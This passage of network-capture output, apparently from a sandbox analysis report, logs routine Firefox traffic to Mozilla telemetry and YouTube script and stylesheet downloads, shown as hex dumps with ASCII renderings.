70 61 67 65 22 3a 74 72 75 65 2c 22 65 6e Data Ascii: ta":true,"enable_signals":true,"enable_skip_ad_guidance_prompt":true,"enable_skippable_ads_for_unplugged_ad_pod":true,"enable_smearing_expansion_dai":true,"enable_sparkles_web_clickable_description":true,"enable_squiffle_gif_handles_landing_page":true,"en
2024-01-17 23:35:39 UTC	1252	IN	Data Raw: 3a 74 72 75 65 2c 22 65 72 72 5f 6f 6e 5f 70 6c 5f 72 5f 63 22 3a 74 72 75 65 2c 22 65 78 70 6f 72 74 5f 6e 65 74 77 6f 72 6b 6c 65 73 73 5f 6f 70 74 69 6f 6e 73 22 3a 74 72 75 65 2c 22 65 78 74 65 72 6e 61 6c 5f 66 75 6c 6c 73 63 72 65 65 6e 22 3a 74 72 75 65 2c 22 65 78 74 65 72 6e 61 6c 5f 66 75 6c 6c 73 63 72 65 65 6e 5f 77 69 74 68 5f 65 64 75 22 3a 74 72 75 65 2c 22 66 65 74 63 68 5f 62 69 64 5f 66 6f 72 5f 64 63 6c 6b 5f 73 74 61 74 75 73 22 3a 74 72 75 65 2c 22 66 69 6c 6c 5f 6e 6f 5f 68 69 73 74 6f 72 79 5f 75 73 65 72 5f 69 6e 5f 69 70 22 3a 74 72 75 65 2c 22 66 69 6c 6c 5f 6e 6f 5f 68 69 73 74 6f 72 79 5f 75 73 65 72 5f 69 6e 5f 77 61 74 63 68 5f 73 74 61 74 75 73 22 3a 74 72 75 65 2c 22 66 69 6c 6c 5f 73 69 6e 67 6c 65 5f 76 69 64 65 6f 5f 77 Data Ascii: :true,"err_on_pl_r_c":true,"export_networkless_options":true,"external_fullscreen":true,"external_fullscreen_with_edu":true,"fetch_bid_for_dclk_status":true,"fill_no_history_user_in_ip":true,"fill_no_history_user_in_watch_status":true,"fill_single_video_w

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
181	192.168.2.6	50194	34.120.208.123	443	7604	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:35:39 UTC	465	OUT	POST /submit/messaging-system/undesired-events/1/c4001c47-7426-49fe-824b-6e55114b29c1 HTTP/1.1 Host: incoming.telemetry.mozilla.org User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Type: application/json; charset=UTF-8 Content-Encoding: gzip Date: Thu, 18 Jan 2024 01:23:39 GMT Content-Length: 334 Connection: keep-alive
2024-01-17 23:35:39 UTC	334	OUT	Data Raw: 1f 8b 08 00 00 00 00 00 00 0a 7d 90 4b 6f c2 30 10 84 ff 8b cf 2c 75 62 c2 eb c6 01 f5 d4 56 22 ea 39 5a 92 85 58 38 76 64 9b 47 8b f8 ef 5d 53 28 aa 54 f5 16 cd cc 37 99 f5 59 d0 a9 27 af 3b b2 31 88 f9 59 ac 9d db 75 e8 77 01 a2 73 66 8d 1e 1a da e0 de 44 70 f6 ea 7b b4 75 2b e6 22 7a c2 98 30 40 71 19 88 3a 1c 40 77 bd f3 11 3c 19 c2 40 e0 9d 31 6e 1f 7f 51 64 71 6d 08 1e e9 c4 06 f2 3d 60 03 91 c1 8e a2 ff f8 13 ad 9d 8d ac 27 60 df 6f 3d 36 04 a1 77 d1 e8 6d 1b ff 04 7e 16 26 84 4e 91 6c d0 ce 06 e8 34 d3 91 3f 41 db fb e6 a3 fe 44 df 40 96 8d ff ff 37 37 19 57 a3 a1 eb 2d f0 5e 8a 81 38 90 4f c5 ac 64 d9 74 28 87 19 6b b7 37 a8 ea 16 ad 25 c3 de 4d 61 8f 0e 69 d3 5c 2c ca 55 b5 2a ab d7 b7 ea 65 59 96 8b e7 65 2a eb 28 04 dc 52 a5 1b 4e d8 27 bc e7 Data Ascii: }Ko0,ubV"9ZX8vdG]S(T7Y';1YuwsfDp{u+"z0@q:@w<@1nQdqm=`'`o=6wm~&Nl4?AD@77W-^8Odt(k7%Mai\,UeYe(RN'
2024-01-17 23:35:40 UTC	662	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 17 Jan 2024 23:35:40 GMT Content-Type: text/plain; charset=utf-8 Vary: Accept-Encoding Strict-Transport-Security: max-age=31536000 X-Frame-Options: DENY Access-Control-Allow-Methods: GET, POST, PUT, OPTIONS Access-Control-Max-Age: 1728000 Access-Control-Allow-Headers: Accept-Encoding,Connection,Content-Encoding,Content-Length,Content-Type,DNT,Date,Sec-Fetch-Dest,Sec-Fetch-Mode,Sec-Fetch-Site,User-Agent,X-Client-Type,X-Client-Version,X-Debug-ID,X-Forwarded-For,X-Pingsender-Version,X-Pipeline-Proxy,X-Source-Tags,X-Telemetry-Agent Via: 1.1 google Content-Length: 0 Alt-Svc: clear Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
182	192.168.2.6	50195	34.120.208.123	443	7604	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:35:39 UTC	465	OUT	POST /submit/messaging-system/undesired-events/1/8ad64017-7b61-4d19-a62b-c95ac9432e5c HTTP/1.1 Host: incoming.telemetry.mozilla.org User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Type: application/json; charset=UTF-8 Content-Encoding: gzip Date: Thu, 18 Jan 2024 01:23:39 GMT Content-Length: 334 Connection: keep-alive
2024-01-17 23:35:39 UTC	334	OUT	Data Raw: 1f 8b 08 00 00 00 00 00 00 0a 7d 90 4b 6f c2 30 10 84 ff 8b cf 2c 75 62 c2 eb c6 01 f5 d4 56 22 ea 39 5a 92 85 58 38 76 64 9b 47 8b f8 ef 5d 53 28 aa 54 f5 16 cd cc 37 99 f5 59 d0 a9 27 af 3b b2 31 88 f9 59 ac 9d db 75 e8 77 01 a2 73 66 8d 1e 1a da e0 de 44 70 f6 ea 7b b4 75 2b e6 22 7a c2 98 30 40 71 19 88 3a 1c 40 77 bd f3 11 3c 19 c2 40 e0 9d 31 6e 1f 7f 51 64 71 6d 08 1e e9 c4 06 f2 3d 60 03 91 c1 8e a2 ff f8 13 ad 9d 8d ac 27 60 df 6f 3d 36 04 a1 77 d1 e8 6d 1b ff 04 7e 16 26 84 4e 91 6c d0 ce 06 e8 34 d3 91 3f 41 db fb e6 a3 fe 44 df 40 96 8d ff ff 37 37 19 57 a3 a1 eb 2d f0 5e 8a 81 38 90 4f c5 ac 64 d9 74 28 87 19 6b b7 37 a8 ea 16 ad 25 c3 de 4d 61 8f 0e 69 d3 5c 2c ca 55 b5 2a ab d7 b7 ea 65 59 96 8b e7 65 2a eb 28 04 dc 52 a5 1b 4e d8 27 bc e7 Data Ascii: }Ko0,ubV"9ZX8vdG]S(T7Y';1YuwsfDp{u+"z0@q:@w<@1nQdqm=`'`o=6wm~&Nl4?AD@77W-^8Odt(k7%Mai\,UeYe(RN'
2024-01-17 23:35:40 UTC	662	IN	HTTP/1.1 200 OK Server: openresty Date: Wed, 17 Jan 2024 23:35:40 GMT Content-Type: text/plain; charset=utf-8 Vary: Accept-Encoding Strict-Transport-Security: max-age=31536000 X-Frame-Options: DENY Access-Control-Allow-Methods: GET, POST, PUT, OPTIONS Access-Control-Max-Age: 1728000 Access-Control-Allow-Headers: Accept-Encoding,Connection,Content-Encoding,Content-Length,Content-Type,DNT,Date,Sec-Fetch-Dest,Sec-Fetch-Mode,Sec-Fetch-Site,User-Agent,X-Client-Type,X-Client-Version,X-Debug-ID,X-Forwarded-For,X-Pingsender-Version,X-Pipeline-Proxy,X-Source-Tags,X-Telemetry-Agent Via: 1.1 google Content-Length: 0 Alt-Svc: clear Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
183	192.168.2.6	50196	142.250.72.110	443	7604	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:35:39 UTC	559	OUT	GET /s/desktop/80338919/jsbin/desktop_polymer.vflset/desktop_polymer.js HTTP/1.1 Host: www.youtube.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Connection: keep-alive Referer: https://www.youtube.com/ Cookie: __Secure-YEC=CgtvTFRlWWFBZDJDYyjLyKGtBjIKCgJERRIEEgAgZg%3D%3D; VISITOR_PRIVACY_METADATA=CgJERRIEEgAgZg%3D%3D; CONSENT=PENDING+188 Sec-Fetch-Dest: script Sec-Fetch-Mode: no-cors Sec-Fetch-Site: same-origin
2024-01-17 23:35:40 UTC	689	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="youtube" Report-To: {"group":"youtube","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/youtube"}]} Content-Length: 8396344 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Wed, 17 Jan 2024 15:32:09 GMT Expires: Thu, 16 Jan 2025 15:32:09 GMT Cache-Control: public, max-age=31536000 Last-Modified: Wed, 17 Jan 2024 14:17:14 GMT Content-Type: text/javascript Vary: Accept-Encoding, Origin Age: 29011 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-01-17 23:35:40 UTC	563	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 29 7b 0a 2f 2a 20 48 54 4d 4c 20 63 6f 6e 74 65 6e 74 20 69 6e 6c 69 6e 65 64 20 66 72 6f 6d 20 48 54 4d 4c 20 69 6d 70 6f 72 74 20 2a 2f 0a 63 6f 6e 73 74 20 64 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 29 3b 0a 64 2e 73 65 74 41 74 74 72 69 62 75 74 65 28 22 69 6e 6c 69 6e 65 64 2d 68 74 6d 6c 22 2c 22 22 29 3b 0a 63 6f 6e 73 74 20 66 69 6e 61 6c 53 74 79 6c 65 54 65 78 74 3d 22 68 74 6d 6c 3a 6e 6f 74 28 2e 73 74 79 6c 65 2d 73 63 6f 70 65 29 20 7b 5c 6e 20 20 2d 2d 70 72 69 6d 61 72 79 2d 74 65 78 74 2d 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 6c 69 67 68 74 2d 74 68 65 6d 65 2d 74 65 78 74 2d 63 6f 6c 6f 72 29 3b 5c 6e 20 20 2d 2d 70 72 69 6d 61 72 79 2d 62 61 63 6b 67 72 6f 75 Data Ascii: (function(){/* HTML content inlined from HTML import */const d=document.createElement("div");d.setAttribute("inlined-html","");const finalStyleText="html:not(.style-scope) {\n --primary-text-color: var(--light-theme-text-color);\n --primary-backgrou
2024-01-17 23:35:40 UTC	1252	IN	Data Raw: 63 35 63 61 65 39 3b 5c 6e 20 20 2d 2d 64 61 72 6b 2d 70 72 69 6d 61 72 79 2d 63 6f 6c 6f 72 3a 20 23 33 30 33 66 39 66 3b 5c 6e 20 20 2d 2d 61 63 63 65 6e 74 2d 63 6f 6c 6f 72 3a 20 23 66 66 34 30 38 31 3b 5c 6e 20 20 2d 2d 6c 69 67 68 74 2d 61 63 63 65 6e 74 2d 63 6f 6c 6f 72 3a 20 23 66 66 38 30 61 62 3b 5c 6e 20 20 2d 2d 64 61 72 6b 2d 61 63 63 65 6e 74 2d 63 6f 6c 6f 72 3a 20 23 66 35 30 30 35 37 3b 5c 6e 20 20 2d 2d 6c 69 67 68 74 2d 74 68 65 6d 65 2d 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 5c 6e 20 20 2d 2d 6c 69 67 68 74 2d 74 68 65 6d 65 2d 62 61 73 65 2d 63 6f 6c 6f 72 3a 20 23 30 30 30 3b 5c 6e 20 20 2d 2d 6c 69 67 68 74 2d 74 68 65 6d 65 2d 74 65 78 74 2d 63 6f 6c 6f 72 3a 20 23 32 31 32 31 32 31 3b 5c 6e 20 20 2d Data Ascii: c5cae9;\n --dark-primary-color: #303f9f;\n --accent-color: #ff4081;\n --light-accent-color: #ff80ab;\n --dark-accent-color: #f50057;\n --light-theme-background-color: #fff;\n --light-theme-base-color: #000;\n --light-theme-text-color: #212121;\n -
2024-01-17 23:35:40 UTC	1252	IN	Data Raw: 20 20 20 20 6c 65 66 74 3a 20 30 3b 5c 6e 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 20 31 30 30 25 3b 5c 6e 20 20 20 20 20 20 20 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 5c 6e 7d 5c 6e 5c 6e 23 62 61 63 6b 67 72 6f 75 6e 64 2e 70 61 70 65 72 2d 72 69 70 70 6c 65 2c 2e 77 61 76 65 2e 70 61 70 65 72 2d 72 69 70 70 6c 65 20 7b 5c 6e 20 20 6f 70 61 63 69 74 79 3a 20 30 3b 5c 6e 7d 5c 6e 5c 6e 23 77 61 76 65 73 2e 70 61 70 65 72 2d 72 69 70 70 6c 65 2c 2e 77 61 76 65 2e 70 61 70 65 72 2d 72 69 70 70 6c 65 20 7b 5c 6e 20 20 6f 76 65 72 66 6c 6f 77 3a 20 68 69 64 64 65 6e 3b 5c 6e 7d 5c 6e 5c 6e 2e 77 61 76 65 2d 63 6f 6e 74 61 69 6e 65 72 2e 70 61 70 65 72 2d 72 69 70 70 6c 65 2c 2e 77 61 76 65 2e 70 61 70 65 72 2d 72 69 70 70 6c 65 20 7b 5c 6e 20 20 62 6f 72 Data Ascii: left: 0;\n width: 100%;\n height: 100%;\n}\n\n#background.paper-ripple,.wave.paper-ripple {\n opacity: 0;\n}\n\n#waves.paper-ripple,.wave.paper-ripple {\n overflow: hidden;\n}\n\n.wave-container.paper-ripple,.wave.paper-ripple {\n bor
2024-01-17 23:35:40 UTC	1252	IN	Data Raw: 74 6f 5c 22 2c 20 5c 22 4e 6f 74 6f 5c 22 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 5c 6e 20 20 2d 77 65 62 6b 69 74 2d 66 6f 6e 74 2d 73 6d 6f 6f 74 68 69 6e 67 3a 20 61 6e 74 69 61 6c 69 61 73 65 64 3b 5c 6e 7d 5c 6e 5c 6e 74 70 2d 79 74 2d 70 61 70 65 72 2d 62 75 74 74 6f 6e 5b 65 6c 65 76 61 74 69 6f 6e 3d 5c 22 31 5c 22 5d 20 7b 5c 6e 20 20 62 6f 78 2d 73 68 61 64 6f 77 3a 20 30 20 32 70 78 20 32 70 78 20 30 20 72 67 62 61 28 30 2c 20 30 2c 20 30 2c 20 30 2e 31 34 29 2c 20 30 20 31 70 78 20 35 70 78 20 30 20 72 67 62 61 28 30 2c 20 30 2c 20 30 2c 20 30 2e 31 32 29 2c 20 30 20 33 70 78 20 31 70 78 20 2d 32 70 78 20 72 67 62 61 28 30 2c 20 30 2c 20 30 2c 20 30 2e 32 29 3b 5c 6e 7d 5c 6e 5c 6e 74 70 2d 79 74 2d 70 61 70 65 72 2d 62 75 74 74 6f 6e 5b 65 6c Data Ascii: to\", \"Noto\", sans-serif;\n -webkit-font-smoothing: antialiased;\n}\n\ntp-yt-paper-button[elevation=\"1\"] {\n box-shadow: 0 2px 2px 0 rgba(0, 0, 0, 0.14), 0 1px 5px 0 rgba(0, 0, 0, 0.12), 0 3px 1px -2px rgba(0, 0, 0, 0.2);\n}\n\ntp-yt-paper-button[el
2024-01-17 23:35:40 UTC	1252	IN	Data Raw: 65 72 2d 62 75 74 74 6f 6e 2d 66 6c 61 74 2d 6b 65 79 62 6f 61 72 64 2d 66 6f 63 75 73 2d 6f 75 74 6c 69 6e 65 29 3b 5c 6e 7d 5c 6e 5c 6e 74 70 2d 79 74 2d 70 61 70 65 72 2d 62 75 74 74 6f 6e 5b 64 69 73 61 62 6c 65 64 5d 20 7b 5c 6e 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 6e 6f 6e 65 3b 5c 6e 20 20 63 6f 6c 6f 72 3a 20 23 61 38 61 38 61 38 3b 5c 6e 20 20 63 75 72 73 6f 72 3a 20 61 75 74 6f 3b 5c 6e 20 20 70 6f 69 6e 74 65 72 2d 65 76 65 6e 74 73 3a 20 6e 6f 6e 65 3b 5c 6e 7d 5c 6e 5c 6e 74 70 2d 79 74 2d 70 61 70 65 72 2d 62 75 74 74 6f 6e 5b 64 69 73 61 62 6c 65 64 5d 5b 72 61 69 73 65 64 5d 20 7b 5c 6e 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 65 61 65 61 65 61 3b 5c 6e 7d 5c 6e 5c 6e 74 70 2d 79 74 2d 70 61 70 65 72 2d 62 75 74 74 6f 6e 5b 61 6e Data Ascii: er-button-flat-keyboard-focus-outline);\n}\n\ntp-yt-paper-button[disabled] {\n background: none;\n color: #a8a8a8;\n cursor: auto;\n pointer-events: none;\n}\n\ntp-yt-paper-button[disabled][raised] {\n background: #eaeaea;\n}\n\ntp-yt-paper-button[an
2024-01-17 23:35:40 UTC	1252	IN	Data Raw: 64 65 49 6e 4f 70 61 63 69 74 79 20 7b 5c 6e 30 25 20 7b 5c 6e 20 20 6f 70 61 63 69 74 79 3a 20 30 3b 5c 6e 7d 5c 6e 5c 6e 31 30 30 25 20 7b 5c 6e 20 20 6f 70 61 63 69 74 79 3a 20 76 61 72 28 2d 2d 70 61 70 65 72 2d 74 6f 6f 6c 74 69 70 2d 6f 70 61 63 69 74 79 2c 20 30 2e 39 29 3b 5c 6e 7d 5c 6e 5c 6e 7d 5c 6e 5c 6e 40 6b 65 79 66 72 61 6d 65 73 20 6b 65 79 46 72 61 6d 65 46 61 64 65 4f 75 74 4f 70 61 63 69 74 79 20 7b 5c 6e 30 25 20 7b 5c 6e 20 20 6f 70 61 63 69 74 79 3a 20 76 61 72 28 2d 2d 70 61 70 65 72 2d 74 6f 6f 6c 74 69 70 2d 6f 70 61 63 69 74 79 2c 20 30 2e 39 29 3b 5c 6e 7d 5c 6e 5c 6e 31 30 30 25 20 7b 5c 6e 20 20 6f 70 61 63 69 74 79 3a 20 30 3b 5c 6e 7d 5c 6e 5c 6e 7d 5c 6e 5c 6e 40 6b 65 79 66 72 61 6d 65 73 20 6b 65 79 46 72 61 6d 65 53 6c Data Ascii: deInOpacity {\n0% {\n opacity: 0;\n}\n\n100% {\n opacity: var(--paper-tooltip-opacity, 0.9);\n}\n\n}\n\n@keyframes keyFrameFadeOutOpacity {\n0% {\n opacity: var(--paper-tooltip-opacity, 0.9);\n}\n\n100% {\n opacity: 0;\n}\n\n}\n\n@keyframes keyFrameSl
2024-01-17 23:35:40 UTC	1252	IN	Data Raw: 2d 66 75 6e 63 74 69 6f 6e 3a 20 65 61 73 65 2d 69 6e 3b 5c 6e 20 20 61 6e 69 6d 61 74 69 6f 6e 2d 64 75 72 61 74 69 6f 6e 3a 20 76 61 72 28 2d 2d 70 61 70 65 72 2d 74 6f 6f 6c 74 69 70 2d 64 75 72 61 74 69 6f 6e 2d 6f 75 74 2c 20 35 30 30 6d 73 29 3b 5c 6e 20 20 61 6e 69 6d 61 74 69 6f 6e 2d 66 69 6c 6c 2d 6d 6f 64 65 3a 20 66 6f 72 77 61 72 64 73 3b 5c 6e 7d 5c 6e 5c 6e 2e 73 63 61 6c 65 2d 75 70 2d 61 6e 69 6d 61 74 69 6f 6e 2e 74 70 2d 79 74 2d 70 61 70 65 72 2d 74 6f 6f 6c 74 69 70 20 7b 5c 6e 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 73 63 61 6c 65 28 30 29 3b 5c 6e 20 20 6f 70 61 63 69 74 79 3a 20 76 61 72 28 2d 2d 70 61 70 65 72 2d 74 6f 6f 6c 74 69 70 2d 6f 70 61 63 69 74 79 2c 20 30 2e 39 29 3b 5c 6e 20 20 61 6e 69 6d 61 74 69 6f 6e 2d 64 65 6c 61 Data Ascii: -function: ease-in;\n animation-duration: var(--paper-tooltip-duration-out, 500ms);\n animation-fill-mode: forwards;\n}\n\n.scale-up-animation.tp-yt-paper-tooltip {\n transform: scale(0);\n opacity: var(--paper-tooltip-opacity, 0.9);\n animation-dela
2024-01-17 23:35:40 UTC	1252	IN	Data Raw: 6d 61 74 69 6f 6e 2d 66 69 6c 6c 2d 6d 6f 64 65 3a 20 66 6f 72 77 61 72 64 73 3b 5c 6e 7d 5c 6e 5c 6e 2e 73 6c 69 64 65 2d 64 6f 77 6e 2d 61 6e 69 6d 61 74 69 6f 6e 2d 6f 75 74 2e 74 70 2d 79 74 2d 70 61 70 65 72 2d 74 6f 6f 6c 74 69 70 20 7b 5c 6e 20 20 74 72 61 6e 73 66 6f 72 6d 3a 20 74 72 61 6e 73 6c 61 74 65 59 28 30 29 3b 5c 6e 20 20 6f 70 61 63 69 74 79 3a 20 76 61 72 28 2d 2d 70 61 70 65 72 2d 74 6f 6f 6c 74 69 70 2d 6f 70 61 63 69 74 79 2c 20 30 2e 39 29 3b 5c 6e 20 20 61 6e 69 6d 61 74 69 6f 6e 2d 64 65 6c 61 79 3a 20 76 61 72 28 2d 2d 70 61 70 65 72 2d 74 6f 6f 6c 74 69 70 2d 64 65 6c 61 79 2d 6f 75 74 2c 20 35 30 30 6d 73 29 3b 5c 6e 20 20 61 6e 69 6d 61 74 69 6f 6e 2d 6e 61 6d 65 3a 20 6b 65 79 46 72 61 6d 65 53 6c 69 64 65 44 6f 77 6e 4f 75 Data Ascii: mation-fill-mode: forwards;\n}\n\n.slide-down-animation-out.tp-yt-paper-tooltip {\n transform: translateY(0);\n opacity: var(--paper-tooltip-opacity, 0.9);\n animation-delay: var(--paper-tooltip-delay-out, 500ms);\n animation-name: keyFrameSlideDownOu
2024-01-17 23:35:40 UTC	1252	IN	Data Raw: 7a 65 64 49 6d 67 44 69 76 2e 69 72 6f 6e 2d 69 6d 61 67 65 20 7b 5c 6e 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 5c 6e 20 20 20 20 20 20 20 20 74 6f 70 3a 20 30 70 78 3b 5c 6e 20 20 20 20 20 20 20 20 72 69 67 68 74 3a 20 30 70 78 3b 5c 6e 20 20 20 20 20 20 20 20 62 6f 74 74 6f 6d 3a 20 30 70 78 3b 5c 6e 20 20 20 20 20 20 20 20 6c 65 66 74 3a 20 30 70 78 3b 5c 6e 5c 6e 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 6e 6f 6e 65 3b 5c 6e 7d 5c 6e 5c 6e 23 69 6d 67 2e 69 72 6f 6e 2d 69 6d 61 67 65 20 7b 5c 6e 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 5c 6e 20 20 20 20 20 20 20 20 77 69 64 74 68 3a 20 76 61 72 28 2d 2d 69 72 6f 6e 2d 69 6d 61 67 65 2d 77 69 64 74 68 2c 20 61 75 74 6f 29 3b 5c 6e 20 20 20 20 20 20 20 20 68 65 Data Ascii: zedImgDiv.iron-image {\n position: absolute;\n top: 0px;\n right: 0px;\n bottom: 0px;\n left: 0px;\n\n display: none;\n}\n\n#img.iron-image {\n display: block;\n width: var(--iron-image-width, auto);\n he
2024-01-17 23:35:40 UTC	1252	IN	Data Raw: 67 69 6f 6e 5d 20 7b 5c 6e 20 20 68 65 69 67 68 74 3a 20 31 30 30 25 3b 5c 6e 7d 5c 6e 5c 6e 74 70 2d 79 74 2d 61 70 70 2d 68 65 61 64 65 72 2d 6c 61 79 6f 75 74 5b 68 61 73 2d 73 63 72 6f 6c 6c 69 6e 67 2d 72 65 67 69 6f 6e 5d 20 23 77 72 61 70 70 65 72 2e 74 70 2d 79 74 2d 61 70 70 2d 68 65 61 64 65 72 2d 6c 61 79 6f 75 74 20 3e 20 5b 73 6c 6f 74 3d 68 65 61 64 65 72 5d 20 7b 5c 6e 20 20 70 6f 73 69 74 69 6f 6e 3a 20 61 62 73 6f 6c 75 74 65 3b 5c 6e 7d 5c 6e 5c 6e 74 70 2d 79 74 2d 61 70 70 2d 68 65 61 64 65 72 2d 6c 61 79 6f 75 74 5b 68 61 73 2d 73 63 72 6f 6c 6c 69 6e 67 2d 72 65 67 69 6f 6e 5d 20 23 77 72 61 70 70 65 72 2e 69 6e 69 74 69 61 6c 69 7a 69 6e 67 2e 74 70 2d 79 74 2d 61 70 70 2d 68 65 61 64 65 72 2d 6c 61 79 6f 75 74 20 3e 20 5b 73 6c 6f Data Ascii: gion] {\n height: 100%;\n}\n\ntp-yt-app-header-layout[has-scrolling-region] #wrapper.tp-yt-app-header-layout > [slot=header] {\n position: absolute;\n}\n\ntp-yt-app-header-layout[has-scrolling-region] #wrapper.initializing.tp-yt-app-header-layout > [slo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
184	192.168.2.6	50198	142.250.72.110	443	7604	C:\Program Files\Mozilla Firefox\firefox.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:35:40 UTC	583	OUT	GET /s/desktop/80338919/jsbin/custom-elements-es5-adapter.vflset/custom-elements-es5-adapter.js HTTP/1.1 Host: www.youtube.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Connection: keep-alive Referer: https://www.youtube.com/ Cookie: __Secure-YEC=CgtvTFRlWWFBZDJDYyjLyKGtBjIKCgJERRIEEgAgZg%3D%3D; VISITOR_PRIVACY_METADATA=CgJERRIEEgAgZg%3D%3D; CONSENT=PENDING+188 Sec-Fetch-Dest: script Sec-Fetch-Mode: no-cors Sec-Fetch-Site: same-origin
2024-01-17 23:35:40 UTC	686	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="youtube" Report-To: {"group":"youtube","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/youtube"}]} Content-Length: 2051 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Wed, 17 Jan 2024 15:32:09 GMT Expires: Thu, 16 Jan 2025 15:32:09 GMT Cache-Control: public, max-age=31536000 Last-Modified: Wed, 17 Jan 2024 14:17:14 GMT Content-Type: text/javascript Vary: Accept-Encoding, Origin Age: 29011 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-01-17 23:35:40 UTC	566	IN	Data Raw: 27 75 73 65 20 73 74 72 69 63 74 27 3b 2f 2a 0a 0a 20 43 6f 70 79 72 69 67 68 74 20 28 63 29 20 32 30 31 36 20 54 68 65 20 50 6f 6c 79 6d 65 72 20 50 72 6f 6a 65 63 74 20 41 75 74 68 6f 72 73 2e 20 41 6c 6c 20 72 69 67 68 74 73 20 72 65 73 65 72 76 65 64 2e 0a 20 54 68 69 73 20 63 6f 64 65 20 6d 61 79 20 6f 6e 6c 79 20 62 65 20 75 73 65 64 20 75 6e 64 65 72 20 74 68 65 20 42 53 44 20 73 74 79 6c 65 20 6c 69 63 65 6e 73 65 20 66 6f 75 6e 64 20 61 74 20 68 74 74 70 3a 2f 2f 70 6f 6c 79 6d 65 72 2e 67 69 74 68 75 62 2e 69 6f 2f 4c 49 43 45 4e 53 45 2e 74 78 74 0a 20 54 68 65 20 63 6f 6d 70 6c 65 74 65 20 73 65 74 20 6f 66 20 61 75 74 68 6f 72 73 20 6d 61 79 20 62 65 20 66 6f 75 6e 64 20 61 74 20 68 74 74 70 3a 2f 2f 70 6f 6c 79 6d 65 72 2e 67 69 74 68 75 62 Data Ascii: 'use strict';/* Copyright (c) 2016 The Polymer Project Authors. All rights reserved. This code may only be used under the BSD style license found at http://polymer.github.io/LICENSE.txt The complete set of authors may be found at http://polymer.github
2024-01-17 23:35:40 UTC	1252	IN	Data Raw: 48 54 4d 4c 45 6c 65 6d 65 6e 74 2c 6d 3d 77 69 6e 64 6f 77 2e 63 75 73 74 6f 6d 45 6c 65 6d 65 6e 74 73 2e 64 65 66 69 6e 65 2c 6e 3d 77 69 6e 64 6f 77 2e 63 75 73 74 6f 6d 45 6c 65 6d 65 6e 74 73 2e 67 65 74 2c 6b 3d 6e 65 77 20 4d 61 70 2c 6c 3d 6e 65 77 20 4d 61 70 2c 65 3d 21 31 2c 66 3d 21 31 3b 77 69 6e 64 6f 77 2e 48 54 4d 4c 45 6c 65 6d 65 6e 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 21 65 29 7b 76 61 72 20 61 3d 6b 2e 67 65 74 28 74 68 69 73 2e 63 6f 6e 73 74 72 75 63 74 6f 72 29 3b 61 3d 6e 2e 63 61 6c 6c 28 77 69 6e 64 6f 77 2e 63 75 73 74 6f 6d 45 6c 65 6d 65 6e 74 73 2c 61 29 3b 66 3d 21 30 3b 72 65 74 75 72 6e 20 6e 65 77 20 61 7d 65 3d 21 31 7d 3b 77 69 6e 64 6f 77 2e 48 54 4d 4c 45 6c 65 6d 65 6e 74 2e 70 72 6f 74 6f 74 79 70 65 3d Data Ascii: HTMLElement,m=window.customElements.define,n=window.customElements.get,k=new Map,l=new Map,e=!1,f=!1;window.HTMLElement=function(){if(!e){var a=k.get(this.constructor);a=n.call(window.customElements,a);f=!0;return new a}e=!1};window.HTMLElement.prototype=
